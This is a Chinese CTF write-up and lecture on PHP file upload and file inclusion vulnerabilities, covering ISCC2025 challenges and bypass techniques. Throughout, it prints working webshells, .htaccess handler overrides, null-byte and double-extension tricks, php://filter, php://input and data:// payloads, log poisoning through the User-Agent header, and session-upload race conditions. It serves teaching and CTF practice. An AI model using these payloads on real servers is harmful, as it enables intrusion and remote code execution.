ISCC2025 校级赛复现-第一讲(文件包含&&文件上传详细讲解)

ISCC2025 校级赛-web

战胜卞相壹

考点:

脑洞

网页源码拉到底部可以看到提示:

image-20260411210453026

对SGF文件进行转换,生成棋谱后得2=0

SGF (Smart Game Format) 是围棋通用的棋谱文件格式。

image-20260410182132242

然后提示AlphaGo ,指 robots.txt

Robots.txt: 这是一个存放在网站根目录下的 ASCII 编码文本文件,通常用来告诉搜索引擎爬虫哪些页面可以抓取,哪些不可以。

CTF 常客: 在比赛中,robots.txt 经常被用来隐藏后台地址或关键提示文件。

访问 /robots.txt
Disallow: /f10g.txt
0替换为2:/f12g.txt

image-20260411210550703

假 flag:ISCC{@ll_h@ve_t0_w1n_0n_th3_ch3ssb0@rd!}

真 flag: 把所有 0 换成 2

ISCC{@ll_h@ve_t2_w1n_2n_th3_ch3ssb2@rd!}

纸嫁衣6外传

考点:

文件上传+文件包含

进行目录扫描,可以发现几个重要路径:

/includes/flag
/includes/flag.php
/upload.php
/uploads/

站在出题人的角度, 页面访问顺序应该如下

/ -> /includes -> /includes/flag -> /?chuizi= -> upload.php

过程:

image-20260411211427389

这里的藏在镜子中, 是指html源码中, 可以看到img标签中includes
所以访问/includes

image-20260411211505895

这里说flag is here
访问/includes/flag到新页面

image-20260411212027464

回到最初的镜子, 就是回到/, 然后get一把锤子
所以访问 /?chuizi=xxx

image-20260411211902081

提示说上传,即文件上传
访问/upload.php,有一个文件上传的点

发现只能上传后缀名为txt的文件,此时应该考虑文件上传绕过

或者是结合文件包含实现解析利用

image-20260411212225946

上传一个内容为 PHP 代码的 .txt 文件

<?php highlight_file("/var/www/html/includes/flag.php"); ?>

(或者一句话木马:)

上传成功后,服务器会返回上传路径

回到首页,使用 chuizi 参数包含刚才上传的文件

/?chuizi=uploads/1.txt

因为 .txt 被解析为 PHP,上传的代码会执行,从而高亮显示 /includes/flag.php 中的内容,得到 Flag。

image-20260411212410300

image-20260411212432798

问题点

最开始访问flag.php

PixPin_2026-04-12_21-21-06

通过文件包含访问flag.php

PixPin_2026-04-12_21-22-16

为什么同一个文件,访问方式不一样,结果不一样呢?

准确的说是原本php文件中的php代码为什么没有显示出来

主要原因:

  1. PHP 是服务器端脚本语言 (Server-Side Execution)

这是最根本的原因。当你在浏览器直接访问一个以 .php 结尾的文件时:

  • 服务器(Apache/Nginx): 接收到请求,发现是 PHP 文件,于是交给 PHP 解析器 处理。
  • 解析器: 执行代码逻辑。
  • 结果: 解析器只将代码执行后的 输出结果(如 echo 的内容或 HTML)返回给浏览器,而源代码本身会被“隐藏”。
  1. 代码逻辑分析:只有“赋值”,没有“输出”

观察结果中高亮显示的 PHP 代码:

<?php
$ending = "奚月遥传过来的神器...说:SVNDQ3taaDFKMUBZMV8xcl81MF9GdW59";
?>
  • 这段代码的作用仅仅是将包含 Flag 的字符串 赋值 给了一个变量 $ending
  • 代码中 缺失了输出语句(如 echo $ending;print_r($ending);)。
  • 因此,当 PHP 解析器执行完这段代码后,它在内存中存好了这个变量,但并没有向浏览器发送任何字符。你看到的页面自然就是一片空白。
  1. “包含”与“直接访问”的区别

在题目中,之所以能看到 Flag,是因为你利用了文件包含漏洞(?chuizi=):

  • 直接访问: 你请求的是 flag.php,服务器执行它,因为没 echo,所以什么也看不见。
  • 利用漏洞访问: 上传了一个恶意脚本(如 1.txt),其内容是 <?php highlight_file("/var/www/html/includes/flag.php"); ?>
    • 当通过 ?chuizi=uploads/1.txt 访问时,服务器执行的是脚本文件。
    • highlight_file() 函数的作用是:读取目标文件的内容,并将其源代码直接打印到页面上。
    • 这就是为什么通过文件包含能看到完整的 <?php $ending = ... ?> 结构。

知识点-文件上传

文件上传原理:

攻击者能够上传并让服务器 执行/ 解析 / 访问 该文件。

“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

前端校验

Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

  1. 在浏览加载文件。
  2. 内容如:只允许上传.jpg/.jpeg/.png后缀名的文件;点的上传 ,再拦截上传,而此时并没有发送数据包;
  3. 前端过滤:当浏览器向server进行通信,它的校验是在浏览器的javascript语句里完成的,(也就是说,我往上边传一个文件,它先用js代码进行检查一下文件的后缀,如果不符合,我连送生这个信息都不发送,直接在前端把这个上传的文件给阻断掉 )。
  4. 解决方法:抓包、改包绕过。前端的代码校验完之后,把这个数据包截获,把数据包的内容修改掉,传给服务器。

例题:

查看网页源代码看一下,发现只能允许.jpg .png .gif文件上传

image-20250317212609122

抓包,把文件后缀改为.php

image-20250317213345504

返回给浏览器

image-20250317212323611

蚁剑连接

image-20250317212442747 image-20250317212523878

其他一些文件上传类型:

.htaccess

它是apcache中的配置文件。我们可以利用它实现把.jpg格式的文件拥有php脚本的能力。进行白名单过滤是可以使用,类似还有apache解析漏洞、IIS7.0 | IIS7.5 | Nginx的解析漏洞、IIS6.0解析漏洞

它提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

作为用户,所能使用的命令受到限制。

管理员可以通过Apache的AllowOverride指令来设置。

.htaccess文件是用于apache服务器下的控制文件访问的配置文件,因此Nginx下是不会生效的

.htaccess可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能。

一般有两种写法

AddType application/x-httpd-php .png

<FilesMatch ".jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

所以只要先长传一个后缀在黑名单之外的.htaccess文件,让.jpg拥有也可以变为php脚本 ,再上传一个内部写有一句话木马的jpg,就能够挂马了。

一些常用的方式

PixPin_2026-04-12_22-05-25

先上传一个.htaccess文件

PixPin_2026-04-12_22-07-57

再上传一个test.png文件

PixPin_2026-04-12_22-10-53

直接执行命令

PixPin_2026-04-12_22-11-36

或用蚁剑连接:

PixPin_2026-04-12_22-12-37

PixPin_2026-04-12_22-13-21

MIME绕过

1、什么是 MIME?

MIME 全称 Multipurpose Internet Mail Extensions,中文译为 多用途互联网邮件扩展

早期电子邮件只能传输 7 位 ASCII 字符,无法正常处理中文、图片、音频、视频等内容。MIME 标准的出现解决了这个问题,它定义了一套机制,让邮件和 HTTP 协议能够可靠地传输各种二进制文件,并通过 Content-Type 字段来标识文件的类型。

在 Web 文件上传场景中,我们在 HTTP 请求报文中看到的 Content-Type 字段,就是用来声明当前发送文件的 MIME 类型 的。

2、常见的 MIME 类型

文件类型 MIME 类型 备注(PHP 中常见写法)
纯文本 text/plain -
HTML 文档 text/html -
GIF 图像 image/gif -
JPEG 图像 image/jpeg PHP 中有时显示为 image/pjpeg
PNG 图像 image/png PHP 中有时显示为 image/x-png
PDF 文档 application/pdf -
Word 文档 application/msword -
任意二进制数据 application/octet-stream 默认类型,常被用于恶意文件
表单提交(文件上传) multipart/form-data 上传文件时使用

此外,.htaccess 中经常出现的 application/x-httpd-php 属于非官方标准 MIME 类型,它是 Apache 服务器自定义的,用于指示“把这个文件当作 PHP 脚本解析”。

.user.ini——nginx

3、MIME 类型在文件上传中的检测方式

当用户上传文件时,服务器(以 PHP 为例)会生成一个 $_FILES 数组,其中包含:

  • $_FILES['file']['name'] → 文件名
  • $_FILES['file']['type'] → MIME 类型(关键!)
  • $_FILES['file']['size'] → 文件大小

许多开发者只进行简单的白名单校验,例如:

if ($_FILES['file']['type'] == 'image/gif' || 
    $_FILES['file']['type'] == 'image/jpeg' || 
    $_FILES['file']['type'] == 'image/png') {
    // 允许上传
}

关键问题: $_FILES['file']['type'] 的值 完全由客户端(浏览器或 Burp Suite)提供,服务器默认信任它,通常不会去验证文件真实内容

4、MIME 类型绕过的核心原理

服务器只看“身份证”(Content-Type),不看“真身”(文件实际内容)

攻击者可以:

  1. 准备一个恶意文件,例如一句话木马:

    <?php @eval($_POST['cmd']); ?>
    
  2. 使用 Burp Suite 拦截上传请求,在

    multipart/form-data

    的文件部分,将

    Content-Type

    修改为服务器允许的图片类型,例如:

    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: image/gif        ←←← 这里修改
    
    <?php @eval($_POST['cmd']); ?>
    
  3. 服务器看到 image/gif,认为这是合法的 GIF 图片,于是允许文件保存。

即使文件实际内容是 PHP 代码,只要服务器后续根据后缀解析为 PHP(或配合其他绕过如 .htaccess),就能成功执行命令。

image-20260410201204514

例题

image-20260412151955136

上传文件

PixPin_2026-04-13_09-52-09

修改CT实现绕过

PixPin_2026-04-13_09-53-36

PixPin_2026-04-13_09-54-30

修改为一句话木马连接即可

image-20260412153030667

image-20260412153114334

文件头检查

这是文件上传漏洞中比 MIME 类型绕过更严格的一类检测方式。服务器不再单纯相信客户端提供的 Content-Type,而是真正读取文件开头的若干字节(称为文件头Magic Bytes魔数文件签名),与内置的合法文件格式特征进行比对。

如果文件头不匹配,服务器会直接拒绝上传,防止恶意脚本伪装成图片。

  1. 常见文件头(Magic Bytes)完整对照表
文件类型 文件头(十六进制,前 8 字节常用) 对应 ASCII / 含义 常见后缀
JPEG FF D8 FF - .jpg / .jpeg
PNG 89 50 4E 47 0D 0A 1A 0A .PNG\r\n\x1A\n .png
GIF 47 49 46 38 39 61 或 47 49 46 38 37 61 GIF89a 或 GIF87a .gif
PDF 25 50 44 46 %PDF .pdf
ZIP 50 4B 03 04 PK.. .zip
PHP(特征) 3C 3F 70 68 70 <?php .php
BMP 42 4D BM .bmp
TIFF 49 49 2A 00 或 4D 4D 00 2A II* 或 MM* .tiff

2、服务端检测(典型 PHP 代码)

// 常见检测函数
$info = getimagesize($_FILES['file']['tmp_name']);     // 最常见
// 或者手动读取
$header = fread(fopen($file, 'rb'), 8);
if (strpos($header, "\x89PNG") === 0 || 
    strpos($header, "GIF89a") === 0 || 
    strpos($header, "GIF87a") === 0) {
    // 允许上传
}

只要文件头不符合白名单,上传就会被直接拒绝。

核心原理: 服务器通常使用以下 PHP 函数进行检测:

  • getimagesize()(最常见)
  • exif_imagetype()
  • finfo_file()(finfo 扩展)
  • 手动 fread($fp, 6) 或 substr(file_get_contents(), 0, 8)

这些函数只看文件最前面的字节,后面的内容(包括恶意 PHP 代码)通常不会影响文件头校验。

为什么单纯一句话木马会失败?

<?php @eval($_POST['cmd']);?>

文件开头是 3C 3F(<?),完全不符合任何图片文件头 → 被直接拦截。

3、绕过方法分类

第一类:直接文件头构造法(最简单推荐)

  • GIF89a 图片马

    GIF89a<?php @eval($_POST['cmd']);?>
    
    printf "GIF89a<?php @eval(\$_POST['cmd']);?>\n" > shell.php
    

第二类:真实图片追加法

  1. 生成 1×1 图片:

    from PIL import Image
    Image.new('RGB', (1, 1), color='red').save('1x1.png')
    
  2. 尾部追加 PHP 代码:

    # Linux
    cat 1x1.png shell.php > shell.png.php
    # Windows
    copy 1x1.png /b + shell.php /a shell.png.php
    

copy 1.jpg /b + shell.php /a shell.png.php

PixPin_2026-04-13_10-41-38

PixPin_2026-04-13_10-40-56

第三类:高级构造法(复杂场景备用)

  • JPG 文件头 + 尾部追加
  • Polyglot 多态文件
  • GIF/PNG 块注入(IDAT 等)

4、绕过成功条件 & 注意事项

  • 文件开头必须是合法文件头(GIF89a / PNG 头 等)。
  • 上传后文件名后缀能被服务器解析为 PHP(.php、.php5、.phtml、.gif.php 等)。
  • 服务器仅做文件头检查,没有二次渲染(resize、convert、压缩)或内容深度扫描。
  • 配合 MIME 绕过 使用:Burp 中把 Content-Type 改为 image/gif 或 image/png。

5、与之前绕过的关系(完整对比)

绕过类型 检测点 绕过难度 推荐构造方式 适用场景
MIME 类型 $_FILES['type'] ★☆☆☆☆ 修改 Content-Type 只看 MIME 的简单题
文件头检查 Magic Bytes ★★☆☆☆ GIF89a + PHP / 图片马 当前最常见
后缀名检查 文件扩展名 ★★★☆☆ 双写、.htaccess 等 需配合其他技巧
内容深度检查 二次渲染 / 扫描 ★★★★☆ Polyglot / IDAT 注入 高级防护题目

下例即通过利用python实现绕过

利用pillow模块生成了一个1*1像素的png文件,

文件上传后先把文件名改成.php,加上恶意代码。

image-20260412153904070

上传一个带有图片php文件,然后抓包改包

image-20260412154541337

放包,就可以连接蚁剑了

image-20260412154837439

00截断

1、基本原理

利用 C 语言字符串以 \0(NULL 字节)作为结束标志的特性,导致后端在判断文件后缀时与实际保存文件名出现不一致。

当文件名中出现 %00 时,PHP(低版本)会将其视为字符串结束,后续内容被截断。

2、截断条件(老版本 PHP)

  • PHP 版本 < 5.3.4
  • magic_quotes_gpc = Off

3、绕过方法

上传文件名:shell.php%00.jpg

服务器处理后实际变为:shell.php\0.jpg

  • 后缀检测时看到的是 .jpg → 通过检测
  • 实际保存的文件名为 shell.php(\0 后面的内容被截断)→ 可被 PHP 解析执行

典型存储路径代码

$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
// road 默认值通常为 /var/www/html/upload/

例题

image-20260412155606859

image-20260412155740466

然后再放包,蚁剑连接即可

image-20260412160028913

双写后缀

1、基本原理

服务器对文件名中的黑名单后缀进行字符串替换(str_ireplace),但替换逻辑不完善,只替换一次,导致双写后缀可绕过黑名单。

2、典型黑名单处理代码

$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", ...);

$name = str_ireplace($blacklist, "", $name);

3、绕过方法

上传文件名:1.pphphp

经过 str_ireplace 处理后:

第一次替换删除中间的 php → 剩下 1.php

image-20260412160327316

然后抓包,把名字后最改为pphphp

image-20260412160459887

放包,蚁剑连接即可

image-20260412160610293

知识点-文件包含

img

原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。

当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

根据不同的配置环境,文件包含漏洞分为如下两种情况:

  • 本地文件包含漏洞( Local File Include,LFI):

    仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。

    很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

  • 远程文件包含漏洞(Remote File Include,RFI):

    能够通过url地址对远程的文件进行包含(通过HTTP、HTTPS、PHP伪协议等远程加载文件),这意味着攻击者可以传入任意的代码,这种情况很严重。

PHP为例,在PHP中,提供了以下文件包含函数:

  • include:找不到文件产生警告,脚本继续运行。

  • include_once:相对于include,文件被包含后不会再次被包含。

  • require:找不到文件,产生致命错误,脚本停止。

  • require_once:相对于require,文件被包含后不会再次被包含。

两种文件包含的方式涉及php.ini中如下两个参数:

参数 默认值 对 LFI 影响 对 RFI 影响
allow_url_fopen On 无直接影响 必须为 On
allow_url_include Off 无直接影响 必须为 On
  • allow_url_fopen = On/Off,默认是On,是否允许将url如http://或ftp://))作为文件处理。
  • allow_url_include = On/Off,默认是Off , 是否允许include/require以文件形式打开url(如http://或ftp://))。 当为off的时候不能包含远程文件,也不能执行系统命令,只能包含本地文件

漏洞形成

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。

但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。

攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

总结文件包含漏洞的原因如下:

  1. 动态包含实现: 代码中使用了变量来指定要包含的文件。
  2. 输入可控: 用户可以通过 URL 参数或其他输入点控制该变量。
  3. 校验缺失: 后端未对路径进行过滤或白名单限制。

PHP伪协议

在文件包含中,我们经常会用到一些伪协议。伪协议其实就是一种特殊封装的协议,并不是真正的网络协议,它允许通过URL风格的语法访问内部的资源。说通俗点就相当于一套“快捷指令”,用简单的字符串就能访问各种PHP资源。这里简单讲几种常用的伪协议

常用的伪协议有

  • php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)
  • php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据。
  • data://text/plain 任意代码执行
  • zip:// 配合文件上传开启后门

php://input

这个就是读取原始POST请求体用的,它可以绕过参数解析直接拿数据。但是需要配置文件的allow_url_include为On,这个伪协议最大的作用就是可以执行PHP代码。

下边使用小皮在本地进行演示

注意要打开相应的配置

示例

例如我们的index.php为

<?php include($_GET[1]); ?>

那么我们直接让1=php://input

PixPin_2026-04-13_15-56-02

改请求头并尝试传参

PixPin_2026-04-13_15-56-27

可以看到成功响应,那么我们直接尝试传入PHP代码

PixPin_2026-04-13_15-56-46

成功执行,结束

data://

其实data://和php://input差不多,它们都需要allow_url_include为On,都是只读形式。

区别在于data://的数据是静态嵌入URL中的字符串,php://input是动态读取HTTP请求里的原始Body数据。

data://的用法也很简单,它里面包含一个MIME类型,所以是可以嵌入一些小文件或者代码的。用法如下

data://[MIME类型][;base64],<数据>

示例

index.php依旧为

<?php include($_GET[1]); ?>

首先构造一下我们的payload

1=data://text/plain,<?php system('ls'); ?>

PixPin_2026-04-13_15-57-39

本地为win时

PixPin_2026-04-13_16-30-06

成功执行。

那么有些时候会不允许出现php等字符串,我们还可以进行base64加密。payload为

data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

PixPin_2026-04-13_15-58-04

这样既可以防止一些符号导致报错,还可以绕过过滤。

假如说我们想传一些文件或者照片可以先将文件或照片转成base64然后再拼接到后面。

这里我随便找了张照片,是一个5x6像素的png。我们可以去网上找一些在线工具例如我用的这个是base64encode

PixPin_2026-04-13_15-59-03

加密结果拿到后,我们直接拼接进去

PixPin_2026-04-13_15-59-40

可以看到这里其实是执行成功了的,PNG头有显示,但是因为没给index.php写处理所以显示不出来

考虑到到URL传不了大参数,那能不能把GET转成POST

首先对URL进行传参,让它以POST方式接收,payload为

1=data://text/plain,<?php system($_POST[2]); ?>

图片

然后用BP抓包,将GET请求转为POST请求,并构造POST传参为2=ls

PixPin_2026-04-13_16-00-43

成功执行,这样就可以传一些大的PHP代码了

php://filter

这个伪协议也是大部分人最爱用的一个,它较于前两个好的点就是前两个只能读,这个可读可写。

它的作用其实就是用在数据流的输入/输出过程中的动态应用过滤器,对数据进行预处理或后处理用的。

说简单点就相当于一个特殊的数据加工管道,可以在读/写文件的时候对数据进行实时处理。它的语法结构如下

php://filter/[操作类型=]过滤器1|过滤器2/resource=目标资源

操作类型

read————读时过滤

write————写时过滤

省略————自动适配

过滤器

1、字符串过滤器

都以string.开头,可以直接操作字符串的内容:

1.string.rot13

​ 对数据流进行ROT13编码(将字符偏移13位),等同str_rot13()。

2.string.toupper

​ 将字符串转大写,等同strtoupper()。

3.string.tolower

​ 将字符串转小写,等同strtolower()。

4.string.strip_tags

​ 去除HTML/PHP标签(例如flag→ flag),等同strip_tags()。但是因为可以绕过死亡exit()在PHP7.3+被废弃了。

2、转换过滤器

都以convert.开头,用来对数据编码/字符集的转换:

1.convert.base64-encode

​ base64编码,等同base64_encode()。

2.convert.base64-decode

​ base64解码,等同base64_decode()。

3.convert.quoted-printable-encode

​ 输出不可打印字符,例如换行符,转为=XX格式,例如\n → =0A。

4.convert.quoted-printable-decode

​ 把=XX格式的字符串反向解析成原始字符串。

5.convert.iconv.*

​ 字符集转换,需要执行输入/输出编码,例如UTF-8、UCS-2。

3、压缩过滤器

用来给数据压缩/解压:

1.zlib.deflate

​ deflate格式压缩,类似gzip。

2.zlib.inflate

​ deflate格式解压。

3.bzip2.compress

​ bzip2格式压缩。

4.bzip2.decompress

​ bzip2格式解压。

ps:这些过滤器压缩的是数据流本身,并不是创建压缩文件。

4、加密过滤器

对数据进行加密/解密:

1.mcrypt.*

​ 对称加密,例如mcrypt.tripledes。

2.mdecrypt.*

​ 对称解密,例如mdecrypt.rijndael-128。

(因为mcrypt扩展在PHP7.1+被移除了,所以不建议使用。)

目标资源

相比于其他的目标资源就比较好理解了,其实就是文件路径,还可以是一些内置流,比如说php://input。还可以是一些内联数据流,比如data://。还支持网络资源的URL,例如HTTP/HTTPS协议、FTP协议。

但是HTTP/HTTPS协议需要配置文件的allow_url_fopen为On状态(一般默认为On),只能读不能写,如果目标URL返回了非文本内容,比如照片这一类的需要配合过滤器处理编码。

示例

index.php发生了一点小改变,因为include函数无法创建文件,所以要用file_put_contents函数。

接下来直接构造我们的传参

<?php file_put_contents($_GET[1],$_POST[2]); ?>

我们用GET传一下参数,大概意思就是base64解码后写入1.php文件,具体意思可以对照上面的列表。

1=php://filter/write=convert.base64-decode/resource=1.php

接下来是我们的POST参数,这一段就是用base64编码的一句话木马。密码为3

2=PD9waHAKc3lzdGVtKCRfR0VUWzNdKTsKPz4=

​ 用BP拦包然后改请求

PixPin_2026-04-13_16-05-28

可以看到code为200,说明接收成功,我们来尝试传点命令进去。

PixPin_2026-04-13_16-05-43

PixPin_2026-04-13_16-32-55

成功执行

绕过死亡die

在一些时候,开发者为了防止我们执行一些恶意代码会在语句前把php的解释执行给杀掉。这时候我们只需要不让他检测到php的标识就可以了。

这时候就会用到rot13编码(凯撒13编码),众所周知一共有26个英文字母,rot13会把每一位都往前移13个。这样算的话移动两次就可以恢复我们的源文本,我们只需要在传参之前加密一次,传参时再加密一次,就可以还原我们的恶意代码。

示例

这个时候index.php也发生改变了,index.php为

<?php file_put_contents($_GET[1],"<?php die(); ?>".$_POST[2]); ?>

​ 首先进行第一次加密,结果为

<?cuc cucvasb(); ?>

那么我们直接用BP拦包改包

PixPin_2026-04-13_16-06-41

可以看到code为200,我们直接访问1.php

PixPin_2026-04-13_16-06-54

成功执行

日志文件包含

在有些时候,我们只能读不能写,我们又想让代码落地,但其实有一个文件已经替我们把内容落地了,我们只需要控制这些内容就可以达到代码落地的效果,这个文件就是实时记录我们的日志。在用日志落地之前要知道一个很重要的事情就是日志在哪,我们要代码落地首先要知道它落在了哪里。以下是常用的两个默认日志位置

1.apache————/var/log/apache2/access.log

2.nginx————/var/log/nginx/access/log

这次我们的index.php为

<?php include("file:///var/www/html/".$_GET[1]); ?>

首先我们要搞清楚日志都会存哪些东西

图片

我们可以看到从头到尾依次是IP、认证信息、时间、传参方式、请求路径、协议版本、code、响应大小、来源、UA头,这么多信息我们可以控制哪些内容,可以动的最多的还是UA头,我们可以在UA里写我们的代码然后访问,日志就会记录下我们的信息,当然也包括我们的代码。这是会利用文件包含的一个特性就是可以将任意文件内容作为代码执行,我们只需要再把日志包含进去就可以实现执行代码。

示例

使用BP或HackBar,然后在UA头那改成我们的PHP代码。

<?php system($_GET[2]); ?>

图片

可以看到成功接收,这个时候我们直接构造传参让文件包含到日志尝试访问一下。

2=../../../../../../var/log/apache2/access.log

PixPin_2026-04-13_16-53-57

成功返回日志文件,现在我们尝试传点命令进去。传参为

1=../../../../../../../var/log/apache2/access.log&2=ls

图片

成功执行,至此结束

日志文件位置

一)日志默认路径

(1) apache+Linux日志默认路径

​ /etc/httpd/logs/access_log

或者

​ /var/log/httpd/access_log

(2) apache+win2003日志默认路径

​ D:\xampp\apache\logs\access.log

​ D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

​ C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

​ %SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件

日志文件在用户安装目录logs目录下

例如安装路径为/usr/local/nginx, 那我的日志目录就是在/usr/local/nginx/logs里

apache服务器日志存放文件位置:/var/log/apache/access.log

思路

apache日志文件存放着我们输入的url参数

一般而言,Web服务器都具有日志文件,以Nginx为例,日志文件有两个,分别存储的是正常的访问和发生错误的访问。如果Nginx以YUM的方式安装,那么其日志文件位置为/var/log/nginx/目录下,正常访问的日志为access.log,而错误访问的日志为error.log。

  • include() 会把指定的文件当成 PHP 脚本执行

    PHP 的 include()require() 函数不仅读取文件内,还会将它当作 PHP 代码执行。

    include('/var/log/nginx/access.log');
    #等价
    // 服务器尝试执行 access.log 文件中的内容
    <?php
    // 日志中含有这句被执行:
    <?php system('ls'); ?>
    
    

    如果日志文件中被注入了恶意 PHP 代码,就会执行 —— 这就是日志文件包含漏洞的核心机制。

  • access.log 是服务器会自动写入的文件

    Nginx 或 Apache 会记录用户的访问信息到 access.log。包括:

    • IP
    • 请求路径
    • 浏览器信息(User-Agent)
    • 请求方法等

​ 其中 User-Agent、Referer 都是用户可控的。

  • 攻击者向日志注入 PHP 代码

    攻击者可以伪造 User-Agent 头:

    User-Agent: <?php system('cat /flag'); ?>
    

    服务器访问记录就变成了:

    1.2.3.4 - - [时间] "GET /index.php HTTP/1.1" 200 123 "-" "<?php system('cat /flag'); ?>"
    

    这样日志中就包含了 <?php system('cat /flag'); ?>,一段有效的 PHP 代码。

  • 攻击者再利用 file 参数包含这个日志文件

    访问:

    index.php?file=/var/log/nginx/access.log
    

    后门生效:

    include('/var/log/nginx/access.log'); // 触发日志文件中的 PHP 代码执行
    

    于是日志中注入的代码就被当作 PHP 执行了。

session文件-*

session的php手册

session基础

cookie存储在客户端浏览器中,而session存储在服务端内存中。这就决定了session的安全性要比cookie要高,因为这避免了攻击者从客户端盗取cookie的可能性。由于cookie和session存储的不同,继而带来了cookie和session存储容量、失效时间上的差别。

session是存储在服务器中的。在PHP中,session并不是存储在服务器的内存中,而是以文件的方式来存储的。在PHP的配置文件中,有专门的session模块,用于配置session相关的设置,在该模块下有个session.save_path参数。

image-20250729170508351

session工作过程

浏览器第一次请求网站,服务端生成Session ID。

把生成的Session ID保存到服务端存储中。

把生成的Session ID返回给浏览器,通过set-cookie。

浏览器收到Session ID,在下一次发送请求时就会带上这个Session ID。

服务端收到浏览器发来的Session ID,从Session存储中找到用户状态存储,会话建立。

此后的请求都会交换这个Session ID,进行有状态的会话。

PixPin_2026-04-13_12-23-21

session的PHP配置

1、session.name
指定用户cookie的会话名,默认值为PHPSESSID。PHP就是根据这个名称来查找用户对应的session。

2、session.save_handler
定义了处理器名称,默认为files。

3、session.auto_start
如果该参数设置为1,则标识会话模块在请求开始时自动启动一个会话。该参数值默认为0,表示不启用该功能。

4、session.use_cookies
该参数指定了在客户端是否使用cookie来存储会话ID(即session.name),该参数默认为1,表示启用该功能。

5、session.cookie_secure
PHP4.0.4版本以后添加此功能,默认为Off。如果该项设置为On,则表示启用安全链接发送cookie。

6、session.serialize_handler
session的存储和使用需要进行序列化和反序列化操作,该参数定义了PHP用来序列化/返序列化的处理器名字。PHP8.2版本支持三种,分别是PHP序列化格式(php_serialize)、PHP内部格式(php php_binary)以及WDDX(wddx)。该项参数的设置决定了session文件中内容的存储格式,默认值是php。

7、session.upload_progress.eabled

8、session.upload_progress.cleanup
image-20250729171125485

文件默认存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session包含-*

背景知识:

  1. PHP Session 文件自动创建

    用户控制 PHPSESSID

    当客户端发起请求时,若在 CookieURL 中指定了:

    Cookie: PHPSESSID=flag
    

    PHP 会:

    • /tmp/sess_flag/var/lib/php/session/sess_flag 自动创建对应 Session 文件。
    • 即使 PHP 脚本中没有调用 session_start(),但一旦使用了和 session 相关的功能(如上传进度),PHP 会自动初始化并写入这个文件。
  2. 上传进度触发 Session 写入

    当启用了以下配置时:

    session.upload_progress.enabled = 1
    

    上传表单中若包含形如:

    <input type="hidden" name="UPLOAD_IDENTIFIER" value="xxx">
    

    PHP 会在 $_SESSION["upload_progress_xxx"] 中写入上传状态。

    这意味着:

    • Session 文件会立即被创建
    • 文件内容会包含上传状态信息,例如上传文件名、临时路径等
  3. 上传进度自动清理机制

    session.upload_progress.cleanup = 1
    
    • PHP 默认在 POST 数据读取完成后(即上传完成后)清除上传进度信息(从 Session 文件中删除)。
    • 所以,Session 文件是短暂存在的。

漏洞利用点:

条件竞争 + 文件包含

攻击者通过如下方式形成一个可利用条件:

  1. 上传恶意文件(内容为 PHP 代码,但扩展名不为 .php,比如 .jpg),通过文件上传机制。

  2. 在上传过程中,POST 包含 UPLOAD_IDENTIFIER=flag

  3. 同时设置:

    Cookie: PHPSESSID=flag
    
  4. PHP 会写入 Session 文件 /tmp/sess_flag,内容中包含上传文件路径(如 /tmp/phpxxxx.tmp)。

  5. 上传未完成时(文件还没写完),Session 文件还存在,并且其内容可控。

  6. 在并行请求中访问:

    include("/tmp/sess_flag"); // 或者 include($_GET['file']);
    
  7. 若攻击者控制了 Session 文件内容,就等于 文件包含执行恶意代码

Session 文件内容举例(上传过程中):

upload_progress_flag|a:1:{s:5:"files";a:1:{i:0;a:3:{s:6:"name";s:8:"shell.php";s:10:"tmp_name";s:14:"/tmp/phpxYz123";s:4:"done";b:0;}}}
##上传时 PHP 自动生成的 session 内容

攻击者可以伪造上传或覆盖 Session 文件,使其内容如下:

<?php system($_GET['cmd']); ?>

当你在并发请求中包含:

include("/tmp/sess_flag");

就会执行攻击者注入的 PHP 代码!

<!DOCTYPE html>
<html>
<body>
<form action="https://42cae84f-8ccd-4baf-9e38-25f7d223fcd2.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

例题

web77-伪协议-*

思路:

  1. 源码获取(信息审计): 利用 php://filter 读取后端源码,确认存在 session_start()$_SESSION 变量内容用户可控。
  2. 载荷落地(写文件): 通过 POST 传参将一句话木马(Payload)存入 $_SESSION。此时,木马会以文本形式被动写入服务器磁盘上的 Session 文件中。
